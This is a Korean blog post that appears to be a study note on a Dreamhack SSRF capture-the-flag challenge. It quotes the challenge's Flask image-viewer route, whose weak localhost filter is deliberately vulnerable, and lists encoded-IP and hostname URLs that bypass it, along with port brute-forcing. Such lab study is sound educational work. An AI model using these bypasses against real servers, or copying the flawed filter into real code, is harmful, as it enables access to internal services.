728x90
1.SSRF(Server-Side Request Forgery)
공격자가 서버를 속여 의도하지 않은 요청을 수행하도록 유도하는 웹 취약점
2.web-ssrf 문제
localhost 또는 내부 IP를 입력할 경우, 내부 에러 이미지를 반환하는 검사를 시행하고있지만
다양한 방법으로 우회할수있다.
그러면 내부 포트는 무차별 대입방법으로 찾을수있다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
우회방법들
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
728x90
'Computer Science > Security' 카테고리의 다른 글
| [드림핵] File Vulnerability (0) | 2025.01.22 |
|---|---|
| [드림핵] Command Injection (0) | 2025.01.21 |
| [보안] Blind SQL Injection (0) | 2025.01.21 |